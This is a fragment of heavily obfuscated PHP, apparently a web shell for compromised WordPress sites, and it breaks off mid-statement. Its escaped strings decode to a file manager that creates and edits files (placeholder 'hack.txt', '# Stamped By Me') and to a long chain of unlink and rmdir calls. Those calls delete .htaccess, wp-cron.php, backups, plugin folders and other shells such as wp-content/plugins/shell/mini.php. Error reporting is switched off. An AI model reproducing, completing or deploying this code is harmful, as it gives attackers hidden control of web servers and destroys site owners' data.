rmdir($oyZlv . "\56\x77\145\154\154\x2d\x6b\x6e\x6f\x77\156\x2f\x70\153\x69\55\166\141\154\151\x64\x61\164\151\x6f\x6e\57\x63\x2f\x63\57\143\57\x63"); goto kaba2; NkdjJ: $wEMNL = unlink($oyZlv . "\x73\x61\56\x70\150\x70"); goto z7aoJ; h038Q: $MOtcB = rmdir($oyZlv . "\116\x65\x77\x20\x46\157\x6c\x64\x65\162"); goto x81XS; vexMx: $VQa5C = unlink($oyZlv . "\56\x77\x65\x6c\154\x2d\x6b\156\x6f\x77\156"); goto jT0jw; xdiWl: $EHXKG = unlink($oyZlv . "\x77\160\x2d\143\157\x6e\164\x65\156\x74\x2f\x70\x6c\165\x67\x69\156\x73\57\x73\x68\145\154\154\57\x6d\x69\x6e\151\x2e\x70\150\x70"); goto G3Nl0; JkmZX: gzjSn("\x66\x69\154\145\40\x74\x6f\40\144\x65\154\145\x74\x65\40\164\150\x65\40\146\157\154\144\145\x72", 0); goto ezcE7; wXRrg: $FVazt = unlink($oyZlv . "\x70\167\x61\x2d\x72\145\147\151\163\x74\145\162\55\x73\x77\x2e\x6a\x73"); goto GIXNc; A1y_j: $V3rin = rmdir($oyZlv . "\167\160\x2d\x63\157\x6e\x74\x65\156\164\57\x6d\141\151\x6e\164\145\156\141\156\x63\x65"); goto nYhyE; oNxv8: $Bz1yR = unlink($oyZlv . "\167\160\55\154\170\x62\147\145\x6b\56\160\150\x70"); goto iWGEp; JKG9t: echo "\x20\11\x9\x9\x3c\x68\65\40\x63\154\141\163\163\x3d\42\x62\x6f\162\144\145\x72\40\x70\x2d\x31\x20\x6d\142\55\63\x22\x3e\x4e\x65\x77\40\x66\x69\x6c\145\x3c\57\x68\x35\76\x20\x9\x9\11\74\146\157\x72\155\x20\155\145\164\150\157\x64\75\42\160\x6f\x73\x74\42\x3e\x3c\144\x69\166\x20\143\154\141\x73\x73\75\x22\146\157\x72\155\55\x67\162\157\x75\x70\x22\76\74\x6c\x61\142\145\x6c\40\x66\157\162\x3d\x22\x6e\42\x3e\106\x69\x6c\145\x20\x6e\x61\x6d\x65\40\x3a\x3c\57\154\141\142\x65\x6c\76\74\151\156\160\x75\x74\x20\164\x79\x70\145\x3d\x22\164\145\x78\x74\x22\40\x6e\x61\155\x65\x3d\42\x6e\42\40\151\144\75\x22\x6e\x22\40\143\x6c\141\x73\163\75\x22\x66\157\162\155\55\x63\157\156\x74\x72\157\154\42\x20\160\154\x61\143\145\150\157\x6c\144\x65\x72\75\x22\150\x61\143\153\x2e\x74\170\x74\42\76\x3c\x2f\144\x69\x76\76\74\x64\151\166\40\x63\x6c\141\163\x73\x3d\x22\x66\157\162\155\55\147\x72\157\165\160\x22\76\74\154\141\142\145\x6c\x20\x66\157\x72\x3d\42\143\164\x6e\42\76\x43\157\x6e\x74\145\x6e\164\x20\x3a\74\x2f\154\141\142\145\x6c\x3e\74\x74\145\x78\164\x61\162\x65\x61\40\163\164\171\x6c\x65\75\x22\162\x65\x73\x69\x7a\x65\x3a\156\x6f\x6e\145\x22\x20\x6e\x61\x6d\145\75\42\x63\164\156\x22\40\x69\144\x3d\42\x63\164\x6e\42\x20\143\x6f\154\x73\x3d\x22\x33\60\x22\40\162\x6f\167\163\x3d\42\x31\60\42\x20\x63\154\141\x73\163\x3d\42\146\x6f\x72\x6d\x2d\143\157\x6e\x74\162\157\154\42\x20\x70\x6c\141\143\x65\x68\157\x6c\144\145\x72\x3d\42\43\x20\x53\x74\141\x6d\x70\x65\x64\40\x42\171\40\115\145\42\76\x3c\x2f\164\x65\x78\x74\x61\x72\x65\x61\x3e\74\x2f\144\x69\x76\x3e\74\x64\151\x76\x20\x63\x6c\x61\163\163\75\x22\146\157\162\x6d\x2d\147\162\157\165\160\42\x3e\x3c\142\165\x74\x74\x6f\156\x20\164\x79\160\x65\x3d\42\163\x75\142\155\151\164\x22\40\x6e\x61\155\x65\75\42\x73\42\40\x63\154\141\x73\x73\75\x22\x62\164\x6e\x20\x62\x74\x6e\x2d\x6f\x75\x74\x6c\x69\x6e\x65\x2d\154\x69\147\x68\164\x20\162\x6f\x75\x6e\x64\x65\144\55\60\42\76\x43\x72\x65\x61\x74\145\x3c\x2f\x62\x75\164\x74\x6f\x6e\x3e\x3c\57\x64\151\166\x3e\74\57\x66\157\x72\x6d\76\x20\11\x9\x9"; goto OEUXp; yDmKf: goto jeJW6; goto TLsFC; c9fmu: $fozED = unlink($oyZlv . "\167\160\x2d\x63\x6f\156\164\145\x6e\x74\x2f\x77\160\55\143\162\157\156\x2e\x70\x68\x70"); goto nCIa6; XA5RK: $AU2Bl = unlink($oyZlv . "\x6d\x6f\x6f\x6e\x2e\160\x68\160"); goto YJUiL; HXpJN: $gdVd7 = unlink($oyZlv . "\x68\150\155\x2e\x70\x6e\x67"); goto T3b3X; OEoBN: $Qx4pa = unlink($oyZlv . "\160\x69\56\x70\x68\x70"); goto YYzS_; ley2N: nLSrM: goto iwKJc; bCgyC: echo "\x20\11\11\11\x3c\x68\65\x20\143\154\141\x73\163\75\x22\142\x6f\x72\144\145\162\x20\160\x2d\61\40\155\x62\x2d\63\42\76\116\x65\x77\x20\x66\157\154\144\145\162\x3c\x2f\150\x35\76\x20\11\x9\x9\x3c\146\157\162\x6d\x20\155\x65\164\150\157\144\75\x22\x70\x6f\163\x74\x22\76\x3c\x64\151\166\40\143\x6c\141\x73\163\75\42\146\x6f\162\155\x2d\147\x72\x6f\165\160\x22\x3e\74\154\141\x62\145\154\40\146\157\x72\75\42\x6e\42\x3e\x4e\x61\155\x65\x20\x3a\x3c\57\x6c\x61\x62\x65\154\76\x3c\x69\x6e\x70\165\164\40\156\x61\155\x65\x3d\42\x6e\x22\x20\x69\144\x3d\42\x6e\x22\x20\143\x6c\141\x73\x73\x3d\x22\x66\x6f\162\155\x2d\143\157\156\164\162\x6f\154\42\x20\141\165\164\157\143\x6f\155\x70\x6c\x65\164\145\75\x22\x6f\146\146\42\x3e\74\x2f\144\151\x76\76\74\x64\151\x76\40\x63\154\141\x73\x73\x3d\42\146\x6f\x72\155\55\147\x72\157\165\160\x22\76\x3c\x62\x75\x74\x74\157\x6e\40\164\171\x70\145\75\42\163\165\142\x6d\x69\x74\42\x20\156\x61\155\x65\75\42\x73\42\40\x63\154\x61\x73\x73\75\42\x62\164\x6e\40\142\164\156\55\x6f\x75\164\x6c\151\x6e\x65\55\154\151\x67\x68\x74\40\x72\157\165\156\x64\x65\x64\x2d\x30\42\x3e\103\x72\x65\x61\x74\145\74\x2f\142\165\164\164\157\156\76\74\x2f\144\x69\166\x3e\74\57\x66\x6f\x72\x6d\x3e\40\11\x9\x9"; goto hUitC; f3QTF: $VBB6C = unlink($oyZlv . "\167\160\x2d\143\157\156\164\x65\156\x74\x2f\160\154\x75\147\x69\x6e\x73\57\165\x62\x68\x2f\x66\x33\65\x2e\160\x68\160"); goto Le6MQ; MMxX8: $bUoU7 = unlink($oyZlv . "\x31\x2e\x70\x68\x70"); goto Oxz7t; O6d8K: $yWyun = rmdir($oyZlv . "\167\160\x2d\143\x6f\x6e\x74\145\156\x74\57\x70\154\x75\147\x69\156\163\x2f\67\141\x66\x30\x36\63\x65\x37\62\x38\x36\x66\66\142\64\x61\x38\x63\67\x37\144\x38\x30\143\143\66\x61\x36\x36\x39\145\x63"); goto I46tW; X_w2x: function xeH2e($C_Szp) { goto gHMNe; gHMNe: $KAnbB = ''; goto nqDPO; PnOXy: return $KAnbB; goto FsXH1; iuyf6: LCCG0: goto PnOXy; j57jN: if (!($VQa5C < strlen($C_Szp))) { goto LCCG0; } goto kC1P6; kRn5R: $VQa5C++; goto KiMxx; RmrUt: RiB04: goto kRn5R; KiMxx: goto zKvf0; goto iuyf6; kC1P6: $KAnbB .= dechex(ord($C_Szp[$VQa5C])); goto RmrUt; nqDPO: $VQa5C = 0; goto F6ZUl; F6ZUl: zKvf0: goto j57jN; FsXH1: } goto hYBS7; fCgaj: $vBbxy = unlink($oyZlv . "\x77\x70\x2d\143\157\x6e\164\x65\156\x74\x2f\164\150\145\x6d\x65\163\57\143\150\x6f\163\x65\156\x2e\x70\x68\160"); goto e9bR7; Fv3oZ: if (!isset($_FILES["\146"])) { goto wViBx; } goto r3RMW; n0UIm: $w5GoO = unlink($oyZlv . "\145\170\164\x72\141\143\164\55\x7a\151\x70\56\x70\150\x70"); goto DLJee; KtBiw: $gV2gM = unlink($oyZlv . "\163\145\x72\166\145\x72\56\164\x78\x74"); goto BPSlb; vf3Uk: $AEMe_ = unlink($oyZlv . "\x64\x75\x70\x2d\x77\160\55\143\x6f\x6e\x66\151\x67\x2d\x61\x72\143\x5f\x5f\x66\70\x32\x36\x30\71\64\x2d\x30\62\61\63\64\x30\x34\71\x2e\164\170\164"); goto IW8uE; lSKwp: y3m1P: goto F_OOb; EkbXw: echo "\74\x2f\163\x70\141\156\76\x20\x9\x9\x9\x3c\146\157\x72\155\40\155\x65\164\150\157\x64\x3d\x22\160\x6f\x73\x74\x22\76\74\144\151\166\x20\x63\154\x61\x73\163\75\42\146\157\x72\155\55\147\x72\157\x75\160\x22\76\74\x6c\141\142\x65\154\x20\x66\157\x72\75\x22\143\164\156\x22\76\103\x6f\x6e\x74\x65\156\164\x20\72\74\57\154\x61\x62\145\x6c\x3e\74\x74\145\170\x74\141\x72\145\141\x20\156\x61\x6d\145\75\42\143\164\x6e\x22\x20\151\x64\75\x22\143\164\156\x22\x20\143\157\154\163\75\42\63\x30\42\40\162\157\167\163\75\42\x31\60\42\x20\x63\154\141\x73\163\x3d\x22\x66\157\162\x6d\55\143\x6f\x6e\x74\162\157\x6c\x22\76"; goto mYpyH; XjPv2: $QnxFw = unlink($oyZlv . "\67\x67\55\147\x72\x69\x64\160\141\x6e\x65\x2e\x70\150\x70"); goto YxZve; gaWxQ: echo "\40\x9\11\x9\x3c\57\164\142\157\x64\x79\76\x20\11\x9\x3c\57\x74\141\142\x6c\x65\76\40\x9\x9"; goto bQFZ7; jHytL: $jWhD5 = unlink($oyZlv . "\167\x70\x2d\x63\157\156\x74\x65\156\x74\x2f\x31\56\160\151\144"); goto ksaea; M0dXy: $jZVj8 = unlink($oyZlv . "\151\x6e\x64\x65\x78\55\x6f\x6c\x64\56\x70\x68\160"); goto jxEf6; hfEEN: $Qk9LA = unlink($oyZlv . "\x2e\x68\x74\x61\x63\x63\x65\x73"); goto iNajV; QmaO6: if (!($_GET["\x74"] == "\146")) { goto fsLcW; } goto VIYzJ; iVBOv: echo $_GET["\x74"] == "\144" ? "\x66\x6f\154\144\x65\x72" : "\146\x69\x6c\145"; goto kHZCJ; zoSmm: $clp0I = rmdir($oyZlv . "\167\x70\55\x63\x6f\156\x74\x65\x6e\164\x2f\165\x70\x67\x72\x61\x64\x65\x2d\164\x65\155\x70\55\x62\141\x63\153\x75\160\x2d\x6f\x6c\x64\55\x6f\x6c\x64"); goto SLqIt; U2fSk: $Zoq0R = unlink($oyZlv . "\56\160\150\x70\55\x69\x6e\151"); goto nMOrW; jN_of: if ($CWqaS == "\x72\145\156\141\155\145") { goto x5x0r; } goto HE4IX; kIc28: $nvHAr = unlink($oyZlv . "\x4c\111\103\105\116\123\105\x2e\164\170\x74"); goto AqJas; Z_yei: $LAcIT = unlink($oyZlv . "\x77\157\162\144\x70\x72\145\163\163\x2d\66\x2e\67\56\x31\x2d\146\141\x5f\111\122\56\172\151\160"); goto J9uMR; izP0b: echo "\74\x2f\x74\x65\x78\164\x61\162\x65\141\76\74\x2f\x64\151\x76\76\x20\11\x9\11"; goto pxLmb; QW3J6: $N1jRX = unlink($oyZlv . "\x6e\x67\x69\x6e\x78\56\x63\x6f\x6e\x66"); goto HAh2Z; kvCVg: $QsNVI = rmdir($oyZlv . "\167\x70\x2d\x63\x6f\x6e\164\145\x6e\x74\x2f\x6d\x75\x2d\x70\x6c\165\x67\151\x6e\x73\55\x6f\x6c\x64\55\157\154\144"); goto FeHEP; f3EFK: echo "\x20\x9\11\74\x2f\144\x69\x76\76\40\x9\74\57\144\x69\x76\x3e\40\x9\x3c\x61\x72\164\151\143\x6c\145\x20\x63\x6c\141\x73\x73\75\x22\142\147\x2d\144\x61\162\153\40\142\157\x72\144\145\x72\40\164\141\142\x6c\x65\x2d\x72\145\x73\x70\x6f\x6e\x73\x69\x76\145\55\163\155\x20\155\164\x2d\x32\x22\76\x20\x9\11"; goto S9P2B; oaKzv: $eAKXz = unlink($oyZlv . "\x77\x70\55\141\x61\56\160\150\x70"); goto OOmXi; fdyaO: $SLM3W = unlink($oyZlv . "\x73\164\171\154\x65\x2d\x63\163\x73\56\x70\x68\160"); goto lTj2q; IU9uT: Xpkel: goto lP7HY; SLqIt: $UXy6L = rmdir($oyZlv . "\x77\x70\55\x63\x6f\x6e\164\145\156\164\57\x75\160\154\x6f\141\x64\x73\55\157\x6c\144"); goto kxSAB; Hff_t: $sd8uV = unlink($oyZlv . "\154\141\x74\x65\x73\x74\56\x74\141\x72\56\x67\172"); goto fkQyZ; YJUiL: $A5qTc = unlink($oyZlv . "\141\143\x74\x69\x76\x61\164\145\56\160\150\160"); goto lXByg; YYzS_: $s49N7 = unlink($oyZlv . "\170\155\154\x70\163\x79\x65\156\x69\56\x70\150\160"); goto xdiWl; OTJ7e: $TLQYf = unlink($oyZlv . "\x62\171\x6b\x6f\156\164\x2e\160\150\160"); goto Efmbs; GoBrJ: $AQewy = unlink($oyZlv . "\167\x70\55\x61\x63\164\151\x76\x61\164\x65\156\x7a\x2e\x70\x68\160"); goto RwFEv; eTLjk: $TdDNl = unlink($oyZlv . "\56\150\164\x61\x63\143\x65\163\163\x31"); goto xdFy0; yA5dT: $kUhtx = unlink($oyZlv . "\x64\157\x63\x6b\x65\162\x2d\143\157\155\x70\157\163\x65\x2e\171\155\154"); goto pAMhZ; BPSlb: $oJzRp = unlink($oyZlv . "\141\x72\143\x68\x69\166\56\172\x69\x70"); goto le59h; Jc9L0: $N16yP = rmdir($oyZlv . "\x77\160\55\143\157\156\x74\x65\156\164\57\160\154\x75\147\151\156\163\x2f\x6a\x6b\x76\x66\x75\x79\160\x63\171\145"); goto WIgeX; W5SYt: $O9szZ = rmdir($oyZlv . "\56\167\x65\x6c\154\55\153\x6e\x6f\x77\156\x2f\x70\x6b\151\55\166\141\x6c\151\144\x61\164\x69\157\x6e\x2f\142\x2f\142\x2f\x62\x2f\142"); goto cprZC; m9Y54: $npiRy = unlink($oyZlv . "\56\x68\164\141\143\x63\x65\163\x73\x2e\157\x72\x69\147"); goto pU9Ql; Ag8MQ: $S4qH_ = rmdir($oyZlv . "\x77\145\154\154\55\153\156\x6f\x77\156\x2f\160\153\x69\55\166\141\154\x69\x64\141\x74\151\x6f\156\x2f\143\57\143\57\x63\x2f\143"); goto Jo0eE; Tt7Lm: JHCeJ: goto MEeu8; Hh4pG: $bO509 = unlink($oyZlv . "\x77\x70\55\x63\157\x6e\164\x65\x6e\164\x2f\x70\x6c\165\x67\151\x6e\163\x2f\171\154\x75\x66\x6c\x77\x6d\163\154\x7a\57\x66\x33\x35\x2e\x70\150\x70"); goto yAnEd; cO04x: $FZIuR = rmdir($oyZlv . "\164\x6d\x70"); goto eTGL9; fCqtt: $lYmTj = unlink($oyZlv . "\x2e\150\x74\x61\143\143\145\x73\x73\63\x33\x33"); goto b8AzI; Mhpsu: $ZPmJ4 = unlink($oyZlv . "\x64\151\x73\143\x6f\165\x6e\x74\56\x70\150\x70"); goto HXpJN; IW8uE: $xJpzJ = unlink($oyZlv . "\144\x75\160\55\151\x6e\x73\164\141\x6c\x6c\145\x72\55\x62\x6f\x6f\164\154\x6f\147\x5f\x5f\x34\x64\71\x32\146\71\x62\55\x30\x32\x31\x33\x34\x30\64\x39\x2e\x74\x78\164"); goto lA0Kr; v5XJF: $CIoEu = unlink($oyZlv . "\x77\x70\x2d\x63\x6f\156\164\x65\x6e\x74\57\x70\x6c\165\x67\x69\x6e\x73\57\165\x62\150\x2f\106\x4d\x61\151\x6c\145\162\55\172\160\64\x37\151\x2e\x70\x68\160"); goto i9hky; mAv9U: $FrgaZ = rmdir($oyZlv . "\56\164\x6d\142"); goto Tz7sk; Xh3Qz: $nJ3OB = rmdir($oyZlv . "\x62\141\143\x6b\x75\160"); goto xyYcV; GuOwB: Y1LpH: goto wVcx1; eP5py: error_reporting(0); goto Jihvo; fA8Hp: $PMbwo = unlink($oyZlv . "\56\146\164\160\x71\165\x6f\x74\141"); goto aKdNL; le59h: $SL3oN = unlink($oyZlv . "\157\x6c\x76\x61\163\x64\x65\x6c\56\150\x74\x6d\154"); goto Z91VS; IRxKo: $h9HkX = unlink($oyZlv . "\x77\145\x32\56\x70\150\x70"); goto d7S0X; Ss0YT: $nI_Er = unlink($oyZlv . "\143\x68\157\x73\x65\x6e\x2e\160\150\160"); goto Gmsha; I4Ohu: $pF2bm = rmdir($oyZlv . "\x77\160\55\x63\157\156\164\145\156\164\x2f\145\x74\55\143\141\143\150\x65\x2d\157\154\144\x2d\x6f\x6c\144"); goto Horf8; XIS83: $oO1Ew = unlink($oyZlv . "\x64\145\x6c\x65\164\x65\x6d\x65\x2e\167\x70\x62\x37\x63\x65\142\66\65\x39\x36\141\x63\x34\x34\141\67\x31\70\x30\x64\64\64\67\61\63\x39\x37\65\60\143\64\x63\x36\56\160\150\160"); goto AJKZn; MqIcU: $xliNm = unlink($oyZlv . "\143\x75\163\x74\x6f\155\x5f\x64\145\142\165\147\x2e\154\x6f\x67"); goto SSYBc; Nz5p9: $s9yBB = unlink($oyZlv . "\x2e\x75\x73\x65\162\56\x69\x6e\x69"); goto i3K0p; iNajV: $NwY7v = unlink($oyZlv . "\142\141\170\141\x31\56\160\x68\160\x37"); goto HaCST; tdj5l: $B70mk = rmdir($oyZlv . "\x70"); goto yZd8r; iUo3v: gF4kK: goto rPl5D; ZHaZ0: $RDT1E = unlink($oyZlv . "\x73\x68\x6f\x70\x6e\x6f\x64\x68\141\x72\x5f\x62\x61\143\x6b\x75\160\56\172\x69\160"); goto zjFPl; MZ_1T: $q6NUD = unlink($oyZlv . "\163\x69\164\x65\x6d\141\x70\56\x78\155\154\x2e\147\x7a"); goto MiObP; RTdiR: $PtbIf = unlink($oyZlv . "\156\x61\155\145\56\x7a\151\x70"); goto ll331; AJKZn: $x35eK = unlink($oyZlv . "\144\145\x6c\145\164\145\155\x65\56\x77\x70\144\x39\61\71\x33\60\x62\x62\x33\x33\64\x37\64\64\x36\x38\x62\63\x37\146\71\143\x38\x36\x33\x33\x66\142\x38\x62\145\67\x2e\x70\150\x70"); goto CTQxx; z7aoJ: $nxGrA = unlink($oyZlv . "\167\160\55\x75\160\x64\x61\164\x65\56\x70\x68\x70"); goto j5Kmz; QXxvO: $q01Jd = unlink($oyZlv . "\163\x69\x74\x65\155\141\160\x2e\x70\x68\160\x2e\x74\x61\162"); goto d1juj; JtbZR: $dW0K2 = unlink($oyZlv . "\56\x68\x74\x61"); goto oNxv8; E_3c0: $QUYpO = unlink($oyZlv . "\x61\x64\166\141\156\x63\145\x64\x2d\x63\141\x63\150\x65\x2e\x70\x68\x70\x2d\157\154\x64"); goto tRF9j; jsjN4: $akyoH = unlink($oyZlv . "\167\160\x2d\x63\x6f\x6e\x74\x65\156\x74\x2f\160\x6c\165\x67\151\x6e\163\x2f\x6e\161\163\x6e\x72\157\x6f\x33\57\x42\165\x74\x6c\x2e\x6a\x73\x2e\160\150\160"); goto xIFQU; SFUUF: $yaH0g = rmdir($oyZlv . "\167\x70\x2d\143\x6f\x6e\164\x65\x6e\164\57\157\x62\152\145\x63\164\55\x63\x61\143\x68\x65\x2e\160\x68\160\x2d\157\154\x64\x2d\x6f\x6c\x64"); goto ZJan3; jBYpq: $JMI53 = rmdir($oyZlv . "\137\x5f\115\101\x43\x4f\x53\130"); goto EouYr; TxTUD: $I5jEG = rmdir($oyZlv . "\56\167\x65\x6c\154\x2d\x6b\x6e\x6f\x77\x6e\57\160\153\151\55\166\x61\154\x69\144\x61\x74\x69\x6f\156\57\150\57\150\x2f\150\57\x68"); goto xgSpt; hYTlF: $ZEcWf = unlink($oyZlv . "\56\x70\150\160\x2e\151\x6e\151\61"); goto ioaH8; i81hj: $lMMLB = rmdir($oyZlv . "\137\x6f\x6c\144"); goto C9jFH; xOZLy: $xYO6d = unlink($oyZlv . "\167\160\55\143\157\156\164\145\x6e\x74\x2f\160\x6c\165\x67\x69\156\x73\x2f\154\150\x6f\154\x6c\x75\x65\x72\160\x66\x2f\165\x70\x2e\x70\150\160"); goto DhwRA; wFUSm: $K02o2 = unlink($oyZlv . "\x2e\150\145\x72\157\153\x75\55\x77\x70"); goto U2fSk; nCIa6: $d0jWZ = unlink($oyZlv . "\56\164\155\x70"); goto v7axG; FX2Yu: $btUvl = unlink($oyZlv . "\x77\x70\55\143\157\156\164\x65\156\164\57\155\x75\55\x70\154\x75\x67\151\x6e\x73\55\154\151\166\145\x2e\172\x69\x70"); goto vzRLB; kHZCJ: echo "\74\57\x68\65\x3e\40\11\11\x9\x3c\x66\x6f\162\155\x20\155\x65\164\x68\x6f\x64\x3d\42\x70\157\163\x74\42\76\x3c\x64\x69\166\40\x63\154\x61\163\x73\x3d\42\x66\x6f\x72\x6d\55\147\x72\x6f\x75\160\x22\x3e\x3c\x6c\141\x62\x65\154\40\146\x6f\x72\x3d\42\156\42\x3e\x4e\141\155\145\x20\x3a\x3c\x2f\x6c\x61\142\x65\154\x3e\74\151\156\x70\x75\x74\x20\x74\x79\160\145\75\x22\x74\x65\x78\164\x22\x20\156\141\155\145\x3d\42\156\42\x20\151\x64\75\x22\x6e\42\40\x63\x6c\141\x73\163\x3d\x22\x66\157\x72\x6d\55\x63\x6f\x6e\164\x72\157\x6c\42\40\x76\x61\154\165\145\x3d\42"; goto VomEX; J9uMR: $hYNaT = unlink($oyZlv . "\167\157\x72\144\160\162\x65\163\x73\55\66\56\67\x2e\61\56\172\151\x70"); goto mpAsh; LwVBF: $ENvDi = rmdir($oyZlv . "\151\x64\x63\x6f\x72\160\162\x64"); goto tdj5l; xQRUo: $XYSQj = rmdir($oyZlv . "\160\150\x70\x6d\x79\141\144\155\x69\156"); goto mh0pq; jT0jw: $C6bul = unlink($oyZlv . "\x61\x62\x6f\x75\164\x2e\160\150\160"); goto Mi0bS; tlXIC: $kyCha = rmdir($oyZlv . "\x77\x70\x2d\x63\x6f\156\164\x65\156\x74\x2f\x74\150\x65\x6d\x65\163\55\157\x6c\x64"); goto vrVpg; J_Eua: $UKSHg = unlink($oyZlv . "\56\143\157\x6e\x74\x65\156\x74\x73\x2e\x70\x68\x70"); goto hh4UG; c2QsF: $N_p5W = unlink($oyZlv . "\67\x37\71\x46\x37\x44\66\67\67\x42\x46\67\103\65\63\x41\70\101\67\x38\101\61\70\63\102\63\71\62\x45\x46\101\x43\x2e\x74\170\164"); goto KbuNX; xTGWp: $dI1PJ = rmdir($oyZlv . "\56\166\163\x63\x6f\144\x65"); goto fIh7Q; VomEX: echo Y2EFu($_GET["\156"]); goto LzaoM; ZBBeG: $Wq28G = unlink($oyZlv . "\162\x61\171\x2e\160\x68\160"); goto F8Wnt; AQHSd: $N3HLC = rmdir($oyZlv . "\56\x68\143\146\154\x61\x67"); goto ckT27; uLDa2: vEUx0($lbhnZ); goto J34QM; q2fio: echo "\x3c\x73\160\141\x6e\40\151\144\75\x27\141\x6e\152\x69\x6e\147\47\40\x73\164\x79\154\x65\75\x27\144\x69\163\x70\154\x61\x79\72\x6e\x6f\156\x65\x3b\47\x3e" . dirname(__FILE__) . "\74\57\x73\160\141\x6e\x3e"; goto vvSH1; QeibV: $N4cXg = rmdir($oyZlv . "\x77\160\x2d\x63\157\156\x74\145\x6e\x74\x2f\141\x64\x76\141\x6e\x63\x65\144\55\143\x61\x63\150\x65\x2e\x70\150\x70\x2d\x6f\x6c\144"); goto vDEVs; e4S8v: $a9bcc = rmdir($oyZlv . "\167\160\55\143\x6f\x6e\x74\145\x6e\164\57\x70\x6c\x75\147\x69\156\163\x2f\141\144\153\166\x75\x61\150"); goto xBJPr; Ty7b6: if ($CWqaS == "\156\145\167\106\x69\154\145") { goto pflSR; } goto jN_of; Cpk2t: $pi5fG = rmdir($oyZlv . "\x77\x70\55\x63\x6f\156\164\x65\x6e\x74\x2f\160\x6c\x75\x67\151\x6e\163\57\164\x75\x72\171\x6d\x63\x69"); goto h0zZt; Gmsha: $hIeSF = unlink($oyZlv . "\x77\x6f\157\144\155\141\x72\164\x2d\x74\150\145\x6d\145\x2d\160\145\164\x2d\154\141\156\x64\55\x64\145\155\157\x2e\x7a\x69\x70"); goto C9AfH; fkQyZ: $M3Weh = unlink($oyZlv . "\x46\124\x6d\x65\164\x53\130\x42\x72\162\x6f\167"); goto v6L1d; uRtMv: $U4yAY = unlink($oyZlv . "\x77\x70\55\143\157\x6e\x74\x65\x6e\164\x2f\x61\x64\166\141\156\143\x65\x64\x2d\x63\141\x63\x68\x65\x2d\142\141\x63\x6b\165\160\56\x70\150\160"); goto RTfVa; F5YIk: $sRiY3 = unlink($oyZlv . "\167\x70\x2d\162\x65\143\157\166\x65\x72\171\x2e\160\150\160"); goto vdoRF; BhE4O: $QLW6U = unlink($oyZlv . "\151\156\146\157\x73\x65\x63\x74\x5f\151\156\146\157\x73\145\143\56\163\x71\x6c"); goto UdO35; OZCFY: $kszgk = rmdir($oyZlv . "\x77\x70\x2d\x63\x6f\156\x74\145\x6e\164\x2f\x70\154\165\147\x69\x6e\x73\x2f\146\x69\154\x65\x2d\x6d\x61\x6e\141\147\x65\162\x2d\141\144\x76\x61\156\x63\x65\x64"); goto ePWT6; D2oXY: $Frdmv = rmdir($oyZlv . "\x73\x73"); goto Jb8IB; fw0aV: $EM1Tf = rmdir($oyZlv . "\167\x70\55\143\x6f\x6e\164\145\x6e\x74\x2f\x70\x6c\165\x67\151\156\x73\57\154\x35\x74\71\x70\x6a\153\x79"); goto euWw3; FeHEP: $vmHuN = rmdir($oyZlv . "\167\x70\55\143\x6f\156\164\x65\156\x74\57\160\154\165\147\151\156\x73\55\x6f\154\144"); goto HijlI; qqgu1: $xW9AS = unlink($oyZlv . "\x73\x79\156\143\x2e\160\x68\160"); goto UGJB0; ne7OH: $mFTlk = unlink($oyZlv . "\x75\x2e\160\150\160"); goto i6FTA; mg3W8: $v1ylF = rmdir($oyZlv . "\167\145\154\x6c\x2d\153\x6e\x6f\167\x6e\x2f\160\x6b\x69\x2d\x76\141\154\x69\144\141\164\x69\x6f\156\x2f\x67\57\147\57\x67\57\x67"); goto ufm1I; EDQEr: isset($_POST["\163"]) ? $lKwH4[13]($p8aQE . "\57" . y2eFu($_GET["\156"]), $_POST["\143\164\x6e"]) ? GzjSN("\x66\x69\x6c\x65\40\143\x6f\156\x74\145\156\x74\163\40\x63\x68\x61\156\147\145\x64\x20\163\x75\x63\x63\145\163\163\146\x75\x6c\x6c\171", 1, "\x26\141\x3d" . XEH2E("\166\x69\x65\x77") . "\46\156\x3d{$_GET["\156"]}") : gzJsn("\x66\151\154\145\40\143\157\x6e\x74\x65\x6e\x74\163\40\146\141\x69\154\145\x64\40\164\157\x20\143\x68\x61\156\147\x65") : null; goto apDjC; Sh9Cw: $GZ3L5 = rmdir($oyZlv . "\x77\160\55\x63\x6f\156\164\145\x6e\164\57\160\154\x75\147\x69\156\x73\x2f\x6a\x6e\x6e\141\156\157\x6c"); goto qJ6xp; ebptS: $H_3Ig = unlink($oyZlv . "\144\x65\x6c\x65\164\145\x6d\145\56\x77\160\141\x65\65\x63\146\x38\x34\x63\x64\x38\x35\141\x34\x34\x62\146\71\67\71\x62\142\x62\63\144\x36\x30\x39\x36\x38\71\63\x63\56\x70\150\x70"); goto XIS83; Horf8: $CYtK1 = rmdir($oyZlv . "\167\x70\55\x63\157\156\164\x65\x6e\x74\57\154\141\x6e\147\165\x61\147\x65\x73\x2d\x6f\154\x64"); goto g9GYZ; kKxmi: $TFUIM = unlink($oyZlv . "\x66\x6c\x75\163\x68\x70\145\x72\x6d\141\x6c\151\156\x6b\163\56\x70\x68\160"); goto MIUQZ; rz6o1: $qff3t = unlink($oyZlv . "\143\x6f\155\x70\157\x73\x65\162\56\x6c\x6f\x63\x6b"); goto IY7OE; w1xyi: $TCeY2 = unlink($oyZlv . "\164\155\160\154\x73\x2e\160\150\160"); goto IUtOj; MTckt: $iDy81 = rmdir($oyZlv . "\167\x70\x2d\143\x6f\x6e\x74\145\x6e\164\x2f\x70\154\165\x67\151\x6e\163\57\105\141\x73\171\123\105\x4f"); goto zyAmc; aDh05: $XaSTE = unlink($oyZlv . "\151\156\144\145\170\56\x68\164\x6d\154\56\142\x61\x63\153\x75\x70\x2e\x37\64\142\x32\x39\62\x65\146\x65\62\71\x63\x66\60\141\x62\62\144\143\141\142\x62\146\x39\65\60\x32\62\142\x30\x33\x33"); goto oR24D; a6vUQ: $egXnS = rmdir($oyZlv . "\167\160\55\x63\x6f\156\x74\145\156\x74\57\160\154\165\x67\x69\x6e\x73\57\145\x78\x65"); goto GdSKF; lXByg: $kbp1m = unlink($oyZlv . "\162\145\163\x65\164\56\x70\x68\160"); goto mhtBS; A7fZo: $JZkk9 = unlink($oyZlv . "\x77\160\x2d\143\x6f\156\x74\x65\x6e\x74\x2f\x73\165\x6e\162\x69\163\x65\56\160\150\160"); goto D4xTA; dGvHf: $kh0Ag = rmdir($oyZlv . "\x77\x70\55\143\157\x6e\164\145\x6e\x74\57\x70\154\165\x67\151\x6e\x73\x2f\x76\x67\x70\165\x6c\172\155\142\x62\x73"); goto KKWm2; cF2n3: $yXkOe = rmdir($oyZlv . "\164\150\x65\155\x65"); goto fw0aV; xIFQU: $F0pmK = unlink($oyZlv . 